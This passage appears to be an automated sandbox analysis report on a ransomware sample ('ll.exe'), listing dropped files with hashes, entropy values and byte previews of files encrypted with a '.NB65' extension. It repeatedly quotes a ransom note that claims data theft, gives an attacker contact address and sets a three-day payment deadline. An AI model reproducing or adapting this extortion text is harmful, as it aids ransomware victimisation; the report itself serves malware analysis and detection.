Preview:e...Zp.......Y.......c......p..!k.a.kZYpE.U.W..*.d/.=g...3...,.Ps......0L.b.|....L.L.@..7Vkz.I...........l..k/..QF4.LD......8N.3..'B....K.r.o....).N.!..U....u.1....uO.jOH...B...L"..yZB.......,..q. oP@.E..C.C..K.`...........f...,=u.M.f.y7...L...Xk9jN.....\2...-..k.........q../.[..SlNVWx9...Kh.....D..3..%..,D.......t}V..0..@l.s(K...2.........Bs...Ze.T........9Ldx].g@..1.F..{#+mZHB..!..cG...j.-.xqW..D.G+.g:..6...V.(+...0.<.x.../+.......6.f.ps....w#.-..9...Q..3Hy....f..@v....U.=.1p`....t?Y......-.R.!WA.=......m5..'0..}...AhT....C...O.z.{..}.F.".V...-5...."^h..5...:.csE.r7..?6.F.y....r..........`.$B...T.$.QY.k`...B.,..R...K......T.z... e...0=a............$.........

C:\Program Files\desktop.ini.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):708
Entropy (8bit):7.60596202097361
Encrypted:false
SSDEEP:
MD5:B76EF719B0142D904D97775B8C85232E
SHA1:D03A8407B925F5741C78BBF1B805B7936D7E4282
SHA-256:496941529C63353AEA1FEBA47741719AB719C8104C74C54DDD518D47F86E1935
SHA-512:5F017424F6BCEA31BBECD9C13D7E4EC23269A1CE5F072203BFD3A7765C207376839C0B3A5D953F9F3236FA15CD537BFDE2FFE0458F1E2B17107DDD6DDA960B21
Malicious:false
Preview:e...Zp.......Y.......c......p..!k.a.kZYpE.U.W..*.d/.=g...3...,.Ps......0L.b.|....L.L.@..7Vkz.I...........l..k/..QF4.LD......8N.3..'B....K.r.o....).N.!..U....u.1....uO.jOH...B...L"..yZB.......,..q. oP@.E..C.C..K.`...........f...,=u.M.f.y7...L...Xk9jN.....\2...-..k.........q../.[..SlNVWx9...Kh.....D..3..%..,D.......t}V..0..@l.s(K...2.........Bs...Ze.T........9Ldx].g@..1.F..{#+mZHB..!..cG...j.-.xqW..D.G+.g:..6...V.(+...0.<.x.../+.......6.f.ps....w#.-..9...Q..3Hy....f..@v....U.=.1p`....t?Y......-.R.!WA.=......m5..'0..}...AhT....C...O.z.{..}.F.".V...-5...."^h..5...:.csE.r7..?6.F.y....r..........`.$B...T.$.QY.k`...B.,..R...K......T.z... e...0=a............$.........

C:\Program Files\internet explorer\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\internet explorer\SIGNUP\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\internet explorer\SIGNUP\install.ins

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):986
Entropy (8bit):7.76731232723551
Encrypted:false
SSDEEP:
MD5:7848075E4DCF02613FEE99DA393476A1
SHA1:1B6A77583969DDCFB71C8DA0B533F5437E5C7EE2
SHA-256:FB7591A4F3DCE7E370A8D7640B4681B60516A318F40F56298EDB629DD0F15F1E
SHA-512:4832E9A73A2D56887F43428C8D5DC3CF7A3A00894AA78C2D9204BA80ECC31501725F4DB66945B36247361180021F7EAF11B697FB280DB7BCE4CB81E899E872DE
Malicious:false
Preview:.B.K...k8E.Gp'..li....W....n. ..........r;.+a..j.%#..=..j.#..-..W......V.-.9.[2.+'..;...Lx..1n?2Z..|....}e..a5.p.&.s..Z..{.....+.eg.`.P-.E......ZW...1..0....'. ..9)...g.TF8..q...3.|r.C..%G\$.G...e:....#4..!.Hd.a....~.plm..~.P.>0.+".d+.....7.s.......wi..o..|x..608.=&Z.....7................T3.:.N.......ho......4..B.Q_Q@.....?....D..0`N.]ba.y..&..'.../T0.....}...].a.T.y.....6......b..H..w.i=......5.R..^70.Y.|........M....KB^.J.....".M&.g......j...}mN.I.?....<....P....!O.U.m.......).i..R.C....f..x...E.....?a7...S.T.E.N..Xyby.v......|\1:1....[p/..)....V{...F...Z...K._.k..)aN.W....\).g0.!.:.y..R.i...J>...I.....c.dG.....{d..{[..5.6.,?.1H!..iO.5.F.W).{4Y#.g....m.....9O..+.)E....>Ad:.K.(^...h[..H..(.h.N.......=...2.A.F.o:..h}.dB....)...&....|.l........[."..9....}.}m.6/....s...~.u.k....g.M.M....K..W...`....%../,.H..x.;..@.f6{bg...#..S._......-..|....q..>....m.7d...#...\..d....:w..a..*\%.....Pa..:.X................$.........

C:\Program Files\internet explorer\SIGNUP\install.ins.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):986
Entropy (8bit):7.76731232723551
Encrypted:false
SSDEEP:
MD5:7848075E4DCF02613FEE99DA393476A1
SHA1:1B6A77583969DDCFB71C8DA0B533F5437E5C7EE2
SHA-256:FB7591A4F3DCE7E370A8D7640B4681B60516A318F40F56298EDB629DD0F15F1E
SHA-512:4832E9A73A2D56887F43428C8D5DC3CF7A3A00894AA78C2D9204BA80ECC31501725F4DB66945B36247361180021F7EAF11B697FB280DB7BCE4CB81E899E872DE
Malicious:false
Preview:.B.K...k8E.Gp'..li....W....n. ..........r;.+a..j.%#..=..j.#..-..W......V.-.9.[2.+'..;...Lx..1n?2Z..|....}e..a5.p.&.s..Z..{.....+.eg.`.P-.E......ZW...1..0....'. ..9)...g.TF8..q...3.|r.C..%G\$.G...e:....#4..!.Hd.a....~.plm..~.P.>0.+".d+.....7.s.......wi..o..|x..608.=&Z.....7................T3.:.N.......ho......4..B.Q_Q@.....?....D..0`N.]ba.y..&..'.../T0.....}...].a.T.y.....6......b..H..w.i=......5.R..^70.Y.|........M....KB^.J.....".M&.g......j...}mN.I.?....<....P....!O.U.m.......).i..R.C....f..x...E.....?a7...S.T.E.N..Xyby.v......|\1:1....[p/..)....V{...F...Z...K._.k..)aN.W....\).g0.!.:.y..R.i...J>...I.....c.dG.....{d..{[..5.6.,?.1H!..iO.5.F.W).{4Y#.g....m.....9O..+.)E....>Ad:.K.(^...h[..H..(.h.N.......=...2.A.F.o:..h}.dB....)...&....|.l........[."..9....}.}m.6/....s...~.u.k....g.M.M....K..W...`....%../,.H..x.;..@.f6{bg...#..S._......-..|....q..>....m.7d...#...\..d....:w..a..*\%.....Pa..:.X................$.........

C:\Program Files\internet explorer\en-US\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files\internet explorer\images\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Adobe\ARM\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Adobe\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Adobe\Setup\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\ProgramData\Microsoft Help\MS.DATABASECOMPARE.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):952
Entropy (8bit):7.733419028288716
Encrypted:false
SSDEEP:
MD5:0C7C9DA6935E89622C243B79850999E0
SHA1:5C560AD97B9A6268578374AA40DDFFAFE069A16F
SHA-256:96EC686AD62FB51A4CFCAEBF15E4E9626AF03BEF513BFF99CC9266CEEA383AB3
SHA-512:6184218F34FBCAC10A53847A7C009C847277802FA50F3F74FF8E55AB7BB7CA07CC1DDCEF701E4CA42226839566D31FA3DE5DBD9BBCB71252820E8AA5511940A1
Malicious:false
Preview:u..i#..}...x&31.Tf.)..$v(^^....E#....k..Y.&..4..2F5G6..|\!.d1.Ta..M..H......X.... D..M.2w.\.4....<..}:.X...,....R..k/.s..Iq..t.~j....i.9.N..w..L..........0+$...9Ma.Q.....x.'.._(S....M.M...u..e`*g.....q...y.7#.........g/.X+...:.. ...6H..#.-.;.TD....k..=#l7....~...........=n.q..K..:.5H[.?t..<..Gj1..P..\*X......N.Iz.pwY_....n{k+....4...RX..TN..M.R.uW .0y$M...6..4..r..Z.+v..cf..0...e*..r.g.!....1X...54...d..~*.....jE.?..l...3...R.tl..0....0z.ctj.....d.?l.S.d..._.6c..j.r.t..w...;...=.U.....75-[.+?l...'.S]..8.4..u]0G<......{..>\.x...X...Qi&..0R..`H..pl.V.p.....3.u......]4.'.{.......d.V..UlRf.....X.:.Z.};.....C.eV<....x\M..'....A%.....I....~.....+"ei.8\...}M.......2,_...Q.G...U...0..:...<.w..5.:...P...E...g.....$.H....)......e...Ir..Yg-P..._.....B.4.0..?.Y...?...?....L.f..uf.......jd...ni.-...l....L.X....p.E.5..#..].M>.66..G..[%>.....3.......5"?.......=F]v.q..uw..H.,............$.........

C:\ProgramData\Microsoft Help\MS.DATABASECOMPARE.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):952
Entropy (8bit):7.733419028288716
Encrypted:false
SSDEEP:
MD5:0C7C9DA6935E89622C243B79850999E0
SHA1:5C560AD97B9A6268578374AA40DDFFAFE069A16F
SHA-256:96EC686AD62FB51A4CFCAEBF15E4E9626AF03BEF513BFF99CC9266CEEA383AB3
SHA-512:6184218F34FBCAC10A53847A7C009C847277802FA50F3F74FF8E55AB7BB7CA07CC1DDCEF701E4CA42226839566D31FA3DE5DBD9BBCB71252820E8AA5511940A1
Malicious:false
Preview:u..i#..}...x&31.Tf.)..$v(^^....E#....k..Y.&..4..2F5G6..|\!.d1.Ta..M..H......X.... D..M.2w.\.4....<..}:.X...,....R..k/.s..Iq..t.~j....i.9.N..w..L..........0+$...9Ma.Q.....x.'.._(S....M.M...u..e`*g.....q...y.7#.........g/.X+...:.. ...6H..#.-.;.TD....k..=#l7....~...........=n.q..K..:.5H[.?t..<..Gj1..P..\*X......N.Iz.pwY_....n{k+....4...RX..TN..M.R.uW .0y$M...6..4..r..Z.+v..cf..0...e*..r.g.!....1X...54...d..~*.....jE.?..l...3...R.tl..0....0z.ctj.....d.?l.S.d..._.6c..j.r.t..w...;...=.U.....75-[.+?l...'.S]..8.4..u]0G<......{..>\.x...X...Qi&..0R..`H..pl.V.p.....3.u......]4.'.{.......d.V..UlRf.....X.:.Z.};.....C.eV<....x\M..'....A%.....I....~.....+"ei.8\...}M.......2,_...Q.G...U...0..:...<.w..5.:...P...E...g.....$.H....)......e...Ir..Yg-P..._.....B.4.0..?.Y...?...?....L.f..uf.......jd...ni.-...l....L.X....p.E.5..#..].M>.66..G..[%>.....3.......5"?.......=F]v.q..uw..H.,............$.........

C:\ProgramData\Microsoft Help\MS.EXCEL.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):884
Entropy (8bit):7.722691241239305
Encrypted:false
SSDEEP:
MD5:2E1AECAC852E4B12F3FF23FF5FB7474A
SHA1:45FE0C4EDC6A3F869D9ECD0ABC08913E2B1B20B5
SHA-256:03C19705FA67151AF4005CBEBC06D5F0FE9C29C5B79E372AFDAC61D180514628
SHA-512:245305956255808D90A0138C7331D43C8644C7D1D77BBCBE21771C9341854FCE9D9832FBCBFDC7AD2E6D4A3BA44C4854B7475BF20A2A8DB6410CA63D808F95A4
Malicious:false
Preview:...Ga.....d..>w.].. ..Kk.......P....e..=....4-I...co..w.!_..v#.WQ.O\C..H..5(....,fW8..]33._y.z.........*.Oa.|p"j.. V......Dl.Si..J......C..e...-...-.j:~W..8zG~.:..(WN4.t.[8W(.Fd}.W.....o.7...o7i.I>._&.2...LVjb.;..b.....Oo..X^3 ,.....&....%D..~9....'.i.... .P>.P..z.3..4}\..7.@5....ZOI..bAO+?.l.0.."I.....[^...D.X..>.b.U..7..H...T..^..~$.;.S.wh..S.e....>..%m1.m.........'L..3..3..j.....i.v........A..z!..j0.@w|kI..Q]k!...m.Kg...;.j>.l.@(...\..dl.y.....2qI.q....7Z.....L....fS[...@..n.K..'QK-..Rdgk.p<3.,%.A..`...=|Z.ro.........2_..'....Y\..@....~.K.b...45.qV...K.....S.<......<....M .s......lz.^.......p.v...m..k.6,.R.U.RD.[z..UU?(i.;.....50.C.6.}..j(.O...v..g6...q..Z..?......'<.3cz...Ti.....-...p..V.[.....$.\].r....yW.yC.y..}!...... H#%.ylM...S..GG.B...."..q8.4....bY1.O)....j.pS.3....H..be.vx...!....z..i...D............$.^.......

C:\ProgramData\Microsoft Help\MS.EXCEL.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):884
Entropy (8bit):7.722691241239305
Encrypted:false
SSDEEP:
MD5:2E1AECAC852E4B12F3FF23FF5FB7474A
SHA1:45FE0C4EDC6A3F869D9ECD0ABC08913E2B1B20B5
SHA-256:03C19705FA67151AF4005CBEBC06D5F0FE9C29C5B79E372AFDAC61D180514628
SHA-512:245305956255808D90A0138C7331D43C8644C7D1D77BBCBE21771C9341854FCE9D9832FBCBFDC7AD2E6D4A3BA44C4854B7475BF20A2A8DB6410CA63D808F95A4
Malicious:false
Preview:...Ga.....d..>w.].. ..Kk.......P....e..=....4-I...co..w.!_..v#.WQ.O\C..H..5(....,fW8..]33._y.z.........*.Oa.|p"j.. V......Dl.Si..J......C..e...-...-.j:~W..8zG~.:..(WN4.t.[8W(.Fd}.W.....o.7...o7i.I>._&.2...LVjb.;..b.....Oo..X^3 ,.....&....%D..~9....'.i.... .P>.P..z.3..4}\..7.@5....ZOI..bAO+?.l.0.."I.....[^...D.X..>.b.U..7..H...T..^..~$.;.S.wh..S.e....>..%m1.m.........'L..3..3..j.....i.v........A..z!..j0.@w|kI..Q]k!...m.Kg...;.j>.l.@(...\..dl.y.....2qI.q....7Z.....L....fS[...@..n.K..'QK-..Rdgk.p<3.,%.A..`...=|Z.ro.........2_..'....Y\..@....~.K.b...45.qV...K.....S.<......<....M .s......lz.^.......p.v...m..k.6,.R.U.RD.[z..UU?(i.;.....50.C.6.}..j(.O...v..g6...q..Z..?......'<.3cz...Ti.....-...p..V.[.....$.\].r....yW.yC.y..}!...... H#%.ylM...S..GG.B...."..q8.4....bY1.O)....j.pS.3....H..be.vx...!....z..i...D............$.^.......

C:\ProgramData\Microsoft Help\MS.GRAPH.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):884
Entropy (8bit):7.759698330139937
Encrypted:false
SSDEEP:
MD5:180C46950C0EA20BCFE20CB9B167BDB3
SHA1:C7BF612BDAE201BB66CE640A2F08C42014DA7164
SHA-256:BACB0541ED09AB1C3B7A52D3EA07AF8557ED0211E70F29E832D0A94E19A9DACB
SHA-512:D2A8689E2823508EA436204EA7F1CDAF80D65646ADE612D4C7C7FA3DDEB8C8123C0C92F466A2AE3D0978E2E26A0955F6721F8C47013E4236328856864E6A2F0A
Malicious:false
Preview:^.2>x`c..T......+..L...C!..j.........1I..".Le.]..l.36.ae.D..Y..$......].!.....?8....0...I...&.....j..S..b.....i..s..6..tk.%...L]........l.u..(2 ..E..t.)~..Q..h.D..'{j...l...f..0G..LW...~8I.....".QFDd >.I..G..`..b...5KmT...g...ukC.0.W.dJJ...,.-.....['.6L..+Di~..r......j.w."fd..9P.e....".1.R.* A..W......HC${..n..........).K...". ..H..9.W'.k..0..._.\.....3....Y.......T..6........%.g.Y..n..p.{...M....#.%.X9}#G.'..A/..N..../.u.....*J!.Q...........Bo.3.;.S4....*.....`....||h...:.H...H......k....0.79A9...h.uLg..W.C....tL.n.....e..3V...6,za{+&r.Q.)..'..r..6..B....h...t.....m iW9Q.b.?.F"N..7Y:.FO.0...+=........<..A...G..<......'..^.&.g).f.V0..........(...i.J....@.......%..0P..r..y.\....l....i...*....{{.}.h;....../3.2..Yxx^.5......=t.....x5..$x.K[.....v..C.4"#S._..Q,.....C..Sh........)....|...G..w...l..[hs...H/..D............$.^.......

C:\ProgramData\Microsoft Help\MS.GRAPH.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):884
Entropy (8bit):7.759698330139937
Encrypted:false
SSDEEP:
MD5:180C46950C0EA20BCFE20CB9B167BDB3
SHA1:C7BF612BDAE201BB66CE640A2F08C42014DA7164
SHA-256:BACB0541ED09AB1C3B7A52D3EA07AF8557ED0211E70F29E832D0A94E19A9DACB
SHA-512:D2A8689E2823508EA436204EA7F1CDAF80D65646ADE612D4C7C7FA3DDEB8C8123C0C92F466A2AE3D0978E2E26A0955F6721F8C47013E4236328856864E6A2F0A
Malicious:false
Preview:^.2>x`c..T......+..L...C!..j.........1I..".Le.]..l.36.ae.D..Y..$......].!.....?8....0...I...&.....j..S..b.....i..s..6..tk.%...L]........l.u..(2 ..E..t.)~..Q..h.D..'{j...l...f..0G..LW...~8I.....".QFDd >.I..G..`..b...5KmT...g...ukC.0.W.dJJ...,.-.....['.6L..+Di~..r......j.w."fd..9P.e....".1.R.* A..W......HC${..n..........).K...". ..H..9.W'.k..0..._.\.....3....Y.......T..6........%.g.Y..n..p.{...M....#.%.X9}#G.'..A/..N..../.u.....*J!.Q...........Bo.3.;.S4....*.....`....||h...:.H...H......k....0.79A9...h.uLg..W.C....tL.n.....e..3V...6,za{+&r.Q.)..'..r..6..B....h...t.....m iW9Q.b.?.F"N..7Y:.FO.0...+=........<..A...G..<......'..^.&.g).f.V0..........(...i.J....@.......%..0P..r..y.\....l....i...*....{{.}.h;....../3.2..Yxx^.5......=t.....x5..$x.K[.....v..C.4"#S._..Q,.....C..Sh........)....|...G..w...l..[hs...H/..D............$.^.......

C:\ProgramData\Microsoft Help\MS.GROOVE.16.1033.hxn

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):890
Entropy (8bit):7.767870959987309
Encrypted:false
SSDEEP:
MD5:9181F0CB9BDC2E31DEB4C899F090CB78
SHA1:E2D50D53FDAD4BD2833BE782390CC16CC5620D3C
SHA-256:D3E870503AF75249EC1D54F8955B2C899ECA3590E69DA24D087E597E3A8DA202
SHA-512:D6FCCE44AB5A559BA81B893774CFD9BF6D96AF64263AAFEF01EF5B72091E1AC969440C697AA6DED01C374FB3795022877CB86F5225613917187D6BDABE8FF9DF
Malicious:false
Preview:_*.(D@...JR./....j.......k..G....z....c.Am......M/..gjXh.p76.'pRK."7.X"...M......j.tA..4...@.1n.S..OZ.i.....=^.1-.\...O.1A.o.~.3..........-!.g..AS9]..$'......[...../.~.>s...D}ho@P....]..A.........S..`..)./:)..~...... ....P..D!t.>R8......xZ..JEr....T.....d.9.SO....|....Y..NZ...Y`!...2l..|."....J.IX..!.`.m...i.e..+...Ty.n.C.{K...L.|f.G...[94...h.;.<.$...n..lI.......9f.f..>?.G.....{.$.".B.).I+`..k.r.S.@.x..YF....Q..W..V!:.!.}.....r...w..NU..FD...B.]w{H.+U...qh6.o.wn.v.../.....U.....N.c`K..UK..^..?...3e]K.z0.^...Zl...HF.Y....u..v.>w.3.+.U.a..?.vLa+.Gf4...L_.QW.M_..C..5....Q..BNb.zD-R.ua..?....M.O.\j.......!.^....g.......4..|L].&..J....(.......}..`..h...iY.S.x.Z....UG3.B..|.....%..t.=g.a}..2.r.F.XJ.....1\.B_}./..o.6'.%.>.P<.....%..A.x.]........t.Q..>.*.,.`..../.....j.H_..4\..X0Lz.1.$...h.C.$.........c>...b....L.D............$.d.......

C:\ProgramData\Microsoft Help\MS.GROOVE.16.1033.hxn.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):890
Entropy (8bit):7.767870959987309
Encrypted:false
SSDEEP:
MD5:9181F0CB9BDC2E31DEB4C899F090CB78
SHA1:E2D50D53FDAD4BD2833BE782390CC16CC5620D3C
SHA-256:D3E870503AF75249EC1D54F8955B2C899ECA3590E69DA24D087E597E3A8DA202
SHA-512:D6FCCE44AB5A559BA81B893774CFD9BF6D96AF64263AAFEF01EF5B72091E1AC969440C697AA6DED01C374FB3795022877CB86F5225613917187D6BDABE8FF9DF
Malicious:false
